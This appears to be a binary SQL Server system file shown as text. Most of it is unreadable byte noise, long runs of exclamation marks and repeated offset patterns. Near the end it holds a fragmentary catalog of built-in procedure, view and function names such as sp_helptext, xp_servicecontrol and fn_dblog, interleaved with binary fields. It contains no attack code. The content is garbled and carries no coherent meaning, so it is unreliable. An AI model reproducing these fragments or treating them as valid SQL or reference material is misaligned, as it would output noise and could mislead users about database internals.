K*BKf&bK4wK0K)?K:KJVL8YkLTLbcL^LdMnJMq}_MyM,MVMSN;sNeNJ2OGOtgO˜OO&P;P[PPQU0Q	PQeQQ:Q#R2$RI8yR>R.HSVS\mSfS{TaT9UUUUrUV-IVW~VΞVVVWf=WrWWX2X%X!X0X+X5&Y@[Y,JYEYVTYOYZZ_oZenZiZxZ tZJ~[c[x[/[Ȝ[Y[7\>W\׶l\h\\\+\\+]wK]`]ր]:]d]]^?^IT^s	^^.^X_4_#I_-~_=)_7_=`!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* 












v
l
b
X
N
D
:
0
&



|rh^TJ@6,"xndZPF<2(












~
t
j
`
V
L
B
8
.
$



													z	p	f	\	R	H	>	4	*	 				vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`z
"ZF^.$tqV
3I8Z`diLE%yg]w(5C_X*]!$!#&14_U7APDGjfZgoov2[~İ!f%Ht;{R\\'Í5$L%	016:!CrH+HP*WL_`'j%{
$BΚ_5]
v+F'_+> @Kd9fvPLCm
nsoeD!(.0>s1n?GJa`Bepfvq=:]UtHi
5]T+u??dEGHYk5q{t@{~5̃2-^>m1\Kfg`8lZu
VMǤL5-!5R/8ExP`hxq&`vs̆ar ۛVDzBǑANH͈1F<S.q_89֩
66;/<RFh?utԇ'Dd&y~_(""Lm_qxtyNJK?bC۩	o߯JBl`)XZ)%)4%rXyjkvP|uIɠg*镧v4@gHYt=8C{5
,LH!"k9AwCSmWZxd6e%h}6u☩zڱ[]oŠfd$(336=AW^8lTkmepmq|C}S~ۍ܂!NI]F@11de8h+3ygp'iS	s lo2:EKQSLSUY_`)bcExTߞ$Z-,W"BȚPnycQ]
[hN.25AF]G,Mr$SV_a[5ap9Xg?Z贲k|5?DY)_!#Q),4Q;E=aFMPPRj8VLfZ/m[\^ta[aaoMHAOڡ^W&ooJ8k+,2_!c$W'L+
3_6q9:A:=PDcHLI\@bv	z|[W0bI^ˮvq4
,$(+='(K|U~V`a$bEinwCq`d +BgQݣ}1Ů_/pJ~T@mq'v<`h-4b@$f=yxzHHE뇝#+PߑSeU3[
.$!37
U8bB6Q	^^	s`g=iԺ{mrOD-B|a*bJ
J!=?D3I_~a@ib-+e<lpn UzExe=[iFHtKYB
\_sfԓk/}b~c1[{e8,u9_P[g+Q6>qHMIaK"V,caݾeC|ip z|qy|֬GZ #G)pc2w8>E?quAMV]M_>'`dt&$-W\P46[h?L?"W./-3Ӻ6&?8%@oP9w1{F&}%`1Bt#ٶ!!!!!!xndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* 












v
l
b
X
N
D
:
0
&



|rh^TJ@6,"xndZPF<2(












~
t
j
`
V
L
B
8
.
$



													z	p	f	\	R	H	>	4	*	 				vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`
"\#*NJM?y/T<FKk)Ns'"F@;SF/P`hho9{p#st~2{_*ܺEJqWJ[	
So -!#B)[:
r?@CV_
f,mSp;YspuمV֕I%拿1tG$KE0	i:W\3iJTVlW_XZZ[`lf7g5k	pvҁ;dZVS̉1y>_DҩApeN ܿknqJgkWT;=;*
 m'D
1
R1t3M8yA/)OU?]w=d:uvey+ZxEx4tľj*,:--V`1_27NN.O9OR!n7rxX1jXޛoDғүj9nuIB(
$'	V>I*Rk>p;s>umzG\“oSۥh޲{iCT.yЅ$Mox" )/SJcY_^_nr{u]pJ'1	4G:|S\RR1`##v%='.G2;6QQVVWn6YcZ^^a_:Pj.nӘ/!ec%b;VZj+V,$L4Jc9+@pCOmZU^^holˣ:3Ce)Ew,|E+6y9BLOMS2W
Y1\n$(/sfLChrobĶ=g.VuRY!Gȯ,
7o/76>ZG%xOP}Q%U&W(fYjpyz
.^qKΝD׵p&nTO3NigP0054/'&1Ք21:4XIcrFu͌kL^LMI
l=+"[B18273T66PkUJ'abbgGnA˂܈_j4J]rƔc
?-1L6xAcFpQxT_t#c
GhSs-tz@H.X40;z-uts>f6sJ,="o+q7/9U<IC$J.KaLoVv7v%?wO؉Bk.߮FW68~!-.m=ClFHi0XXZ]
`Α7*M.UW|Ǖ
Y%t%F%02:V]`mu7ŁOՙTGOjR4V5o2'u	

 !"#$+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~!!!!!!xndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* 












v
l
b
X
N
D
:
0
&



|rh^TJ@6,"xndZPF<2(












~
t
j
`
V
L
B
8
.
$



													z	p	f	\	R	H	>	4	*	 				vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`
R"\%h
 !"#$%&'()*+,-./0123456789:;<=>?@qrstuvwxyz{|}~!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`70N"VW6Ix006P YY`sp_MSSharedFixedDisk00P )NNTsp_helpsrvrole00P TVlYsp_MSchange_distribution_agent_properties00P JQhLQRsp_helpserver00V PPtdm_tran_top_version_generators00tX O=TDTPsp_repltrans00uvTF]gQgQXfn_trace_getinfo00P {TT
Usp_MSgetisvalidwindowsloginfromdistributor00\P NjVkYzsp_MScleanupdynamicsnapshotfolder00p"P @PQSQNsp_helptext00Fm8P [V5Wdsp_MSenum_logreader_sd00WV JNfNTdm_fts_fdhosts00jP 4XYXvsp_MSset_dynamic_filter_options00/nTFPQZfn_RowDumpCracker00v|P 8VmeVnsp_deletepeerrequesthistory00EP aS_dYtsp_helpsubscription_properties00`nV PPTdm_xe_sessions00W%P ,BXrpYfsp_addmergesubscription00a6V "Q<Q^trigger_event_types00\P HXeXjsp_MSadd_mergereplcommand00̲P qXqXlsp_helpdynamicsnapshot_job00P NSCTbsp_MSmergesubscribedb00P mOQSQPsp_helpstats00UP XsYhsp_MSmakebatchinsertproc00P RDThsp_MSreplcheck_subscribe00P qXXfsp_MScheckidentityrange00WP 3LYZLYnsp_MSenumchangeslightweight00@P ,UcVXsp_scriptdelproc005P ^VmeVsp_MSpeerconflictdetection_statuscollection_applyresponse00jX aQbQdsp_xml_preparedocument00YP TUdsp_MShelp_profilecache00cP RRnsp_syspolicy_execute_policy00RP UFdVbsp_MSgetpeerwinnerrow00nR!X ʆYYZxp_servicecontrol00P;P P!Ra!Rbsp_special_columns_9000|QP pSdYhsp_MSaddanonymousreplica00p]V RRFCOLUMNS007cP XXfsp_MSgetlastsentrecgens00nyfFNp5TDT\fn_repldecryptver400fV ,QWQZdm_pdw_wait_stats00
zP 7VmeV^sp_helppeerrequests00RφP W7Wdsp_changeqreader_agent00jV PPbdm_db_log_space_usage00P jXpYvsp_MScomputemergeunresolvedrefs00P XrYjsp_MSinsertdeleteconflict00(ƜP W7Wbsp_MSstartmerge_agent00&P SSeYdsp_MSget_publisher_rpc00P X#XXsp_MScreateretry00ޚP RRtsp_procedure_params_90_rowset2006P SDTjsp_MSscript_sync_upd_trig00hAFhRRDORMask00|V ؼQQvdm_pdw_nodes_os_child_instances00P !YAYfsp_MSinserterrorlineage00T6X YYBxp_qv00P UeVdsp_IHValidateRowFilter00w!P pQQ~sp_help_spatial_geography_histogram00Ӫ2P UdVtsp_unregister_custom_scripting00ҜBP XrYhsp_MSgetsetupbelong_cost00|FP 
U=bYvsp_identitycolumnforreplication00IP YyY^sp_MSscriptdatabase00nSP Vy6Wnsp_MShelp_logreader_agentid00fX 7Q7QNxp_logevent00wfP fV&lYbsp_MSreplremoveuncdir00thP OVhYXsp_MSrepl_setNFR00kP TaYpsp_MShelp_replication_status00e8P LRyRXsp_columns_ex_9000KpP V6Wsp_MSclearresetpartialsnapshotprogressbit00OV ȹQQrdm_pdw_nodes_exec_query_stats00P 3QQSQZsp_helpconstraint009P E5SdYfsp_MSunmarkschemaobject00P IRpRvsp_assembly_dependencies_rowset00CP RRtsp_procedure_params_100_rowset00eP YYfsp_MSevalsubscriberinfo00OP kWlWfsp_upgrade_log_shipping00
IFPQHfn_dblog00P UcVjsp_MSscript_sync_del_proc00AFΟQQpGeographyCollectionAggregate00P XrYbsp_MSmakearticleprocs!!!!!!!!!!!!l\`@"NrNr.P2R.xd
F
tf
:
	j		LV`d`0N"FW[l@V00@V lQlQDtraces00kP XXxsp_MSget_subscriber_partition_id00P 
kWvYpsp_help_log_shipping_monitor00KP RRbsp_getVolumeFreeSpace00P RR`sp_usertypes_rowset200|P )(XMpYrsp_helpallowmerge_publication00&P ]Y^Yfsp_MScheckexistsrecguid00c+IFS5Qq6QZfn_helpcollations00
3FSpRR`fn_cdc_increment_lsn00<V -QFQ^dm_hadr_name_id_map00sdP sXXTsp_MSdropretry00ZiP nSCTvsp_expired_subscription_cleanup00,.mP m'X'Xbsp_changemergearticle00}XsX 7Q7QTsp_audit_write00P $XOXpsp_MSchange_mergepublication00P -TDT~sp_startmergepullsubscription_agent00P UOhYpsp_changesubscriptiondtsinfo00P B"VleVVsp_MSaddpeerlsn00qP aVneVTsp_replrethrow00P 4X4Xsp_MSreinitoverlappingmergepublications00X YYrxp_instance_regaddmultistring00oV P$P^dm_os_waiting_tasks00AfP MYQ`Qjsp_help_fulltext_catalogs00CP pVdVZsp_MShelp_profile00sP RpRlsp_procedure_params_rowset00U}V ԫPPpdm_exec_background_job_queue00yP bHVeVnsp_setsubscriptionxactseqno00/P /SCTlsp_MSmerge_alterschemaonly00'7P IUcV^sp_helpsubscription00zP PPTsp_updatestats00IF$Q+$QVdm_exec_cursors00YNP ȆRRnsp_table_constraints_rowset00G=P l_Y_Ysp_MSrequestreenumeration_lightweight00>P )XrYbsp_MSinsertgenhistory00WQ)V PPndm_db_missing_index_details00z/P YYTsp_MSforeachdb00(W3P P{SdYpsp_MScreatedisabledmltrigger002@FNmTUdfn_replgetparsedddlcmd00HP cXdXbsp_getmergedeletetype00leP ҊVkYjsp_MScheck_Jet_Subscriber00oFNAYAYPfn_MStestbit00zP X(XZsp_MSupdaterecgen00eV QQbdm_pdw_nodes_os_hosts00PP xV<5WZsp_MSdrop_article00P LUshYXsp_getqueuedrows00VV PPZdm_clr_properties006֜P 3YCsYpsp_MSget_identity_range_info002oP RXeX|sp_MSreleasedynamicsnapshotapplock007P NNNsp_helprole00P YsY^sp_MSmakedeleteproc00ʷV nQQtdm_pdw_nodes_os_memory_brokers00;P 	!VkeVVsp_MSpeerdbinfo00xQV PPXdm_os_sublatches00</V QQbdm_pdw_query_stats_xe00P X׷Xjsp_MSrequestreenumeration00P ŽW_Wjsp_cdc_vupgrade_databases00P 2V5W`sp_MSenum_qreader_sd00NP TTw
Upsp_setdefaultdatatypemapping00#P )X*Xsp_get_mergepublishedarticleproperties00h$P 'ScYnsp_MSacquireHeadofQueueLock00,+P PNYNVsp_unsetapprole003V QҶQtdm_pdw_nodes_exec_cached_plans00 6P HXpYdsp_enumcustomresolvers00!9P ~SDTdsp_disableagentoffload00EP UcVXsp_scriptinsproc00QV QQrdm_pdw_nodes_os_memory_clerks00ndX ؆YԌYRxp_getnetname008!qP Q'Q`sp_dbmmonitorresults00usP Tw
Ubsp_adddatatypemapping00xV PȻPndm_exec_query_memory_grants00IFOObdm_fts_index_keywords00P rRrRpsp_check_constraints_rowset200rFNPQ^fn_PhysLocFormatter00ܞP )TbYlsp_MSrepl_enumpublications00V PPddm_logpool_hashentries00~>IFPPtdm_logconsumer_cachebufferrefs00)V cPPhdm_tran_current_snapshot00<P vSdYpsp_mergesubscription_cleanup!!!!!!!!!!!!!!!!!!!!!!!!!!!!n*\*xJr*Z$vVj^R"^


H*
L
			Lr.j>&N`0M"B$WOGvk00P VlYjsp_MSdeletefoldercontents00DX QEQfsp_update_user_instance00/P 0VleVbsp_MSpeersendresponse00VJP õN2Ndsp_addextendedproperty00[FP XXrsp_MSreleasemergeadminapplock00kV CRqRZTABLE_CONSTRAINTS00DIF.P:Phdm_io_virtual_file_stats00IEP  RCTjsp_MSregisterdynsnapseqno00P _SZdYjsp_MSregistersubscription00P /Y/Yzsp_MSget_MSmerge_rowtrack_colinfo00P XrYdsp_MSmakesystableviews00 IFvbQbQ^dm_exec_xml_handles00L5(P YYZsp_MSgetmaxbcpgen002P tCS1dY^sp_MSreplcheck_pull00#]3P TaY`sp_MSget_agent_names00	6P .9RM9RNsp_tableswc00W8P ЫUcVZsp_scriptvdelproc00:P wV5Wbsp_MSenum_logreader_s00EP &'WlY~sp_removedistpublisherdbreplication00GJP XXnsp_unregistercustomresolver00`HWP V7Wlsp_MSrepl_init_backup_lsns00aV OQmQdm_pdw_nodes_io_cluster_shared_drives00܉qX QQsp_delete_http_namespace_reservation00f,wP ERGRZsp_columns_rowset00P 